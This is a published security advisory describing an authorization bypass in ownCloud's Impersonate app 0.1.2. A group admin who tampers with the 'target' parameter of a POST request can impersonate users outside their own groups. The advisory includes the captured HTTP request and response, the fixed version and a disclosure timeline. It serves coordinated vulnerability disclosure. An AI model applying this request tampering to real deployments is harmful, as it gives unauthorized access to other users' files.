############################################################# # # COMPASS SECURITY ADVISORY # https://www.compass-security.com/research/advisories/ # ############################################################# # # Product: ownCloud Impersonate # Vendor: ownCloud # CSNC ID: CSNC-2018-015 # CVE ID: N/A # Subject: Authorization bypass # Risk: High # Effect: Remotely exploitable # Author: Thierry Viaccoz <thierry.viaccoz@xxxxxxxxxxxxxxxxxxxx> # Date: 29.08.2018 # ############################################################# Introduction: ------------- ownCloud [1] is a suite of client-server software for creating file hosting services and using them. An app called Impersonate [2] was created to allow administrators to impersonate other users. According to the documentation [3], group admins should only be able to access users of the groups they are administrator of. Compass Security discovered that it was possible for a group admin to impersonate any user, except global administrators. This way, group admins have access to data of users of other groups, even though they shouldn't. Affected: --------- Vulnerable: * Version 0.1.2 Not vulnerable: * Version 0.2.0 No other version was tested, but it is believed for the older versions to be vulnerable too. Technical Description --------------------- In order to reproduce the vulnerability, follow the steps below. Create two groups: * group1 * group2 Create four users as follows: * test1; group = group1; group admin = group1 * test2; group = group1; group admin = no group * test3; group = group2; group admin = group2 * test4; group = group2; group admin = no group Activate the Impersonate app in Settings > Admin > Apps. Go to Settings > Admin > Apps > User Authentication, check "Allow group admins to impersonate users from these groups" and add the two groups "group1" and "group2". Log in with "test1", open the user page and impersonate the user "test2". There, intercept the POST request to /apps/impersonate/user and replace "target=test2" by "target=test3" in the body as shown below. As a result, the user "test1" will impersonate the user "test3", even though "test1" is only group admin of "group1" and "test3" is not in this group. Request: ========= POST /apps/impersonate/user HTTP/1.1 Host: demo.owncloud.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 requesttoken: [CUT] OCS-APIREQUEST: true X-Requested-With: XMLHttpRequest Content-Length: 12 Cookie: [CUT] Connection: close target=test3 ========= Response: ========= HTTP/1.1 200 OK Cache-Control: no-cache, must-revalidate Content-Length: 2 Content-Security-Policy: default-src 'none';manifest-src 'self';script-src 'self' 'unsafe-eval';style-src 'self' 'unsafe-inline';img-src 'self' data: blob:;font-src 'self';connect-src 'self';media-src 'self' Content-Type: application/json; charset=utf-8 Date: Thu, 15 Mar 2018 15:21:14 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Pragma: no-cache Server: Apache Strict-Transport-Security: max-age=15768000; preload X-Content-Type-Options: nosniff X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: none X-Xss-Protection: 1; mode=block Connection: close [] ========= Workaround / Fix: ----------------- Check the authorization consistently to prevent group admins to be able to impersonate users from other groups. Timeline: --------- 2018-08-29: Coordinated public disclosure date 2018-04-17: Release of fixed version 0.2.0 2018-03-16: Initial vendor response 2018-03-16: Initial vendor notification 2018-03-15: Discovery by Thierry Viaccoz References: ----------- [1] https://owncloud.org/ [2] https://marketplace.owncloud.com/apps/impersonate [3] https://doc.owncloud.org/server/10.0/admin_manual/issues/impersonate_users.html
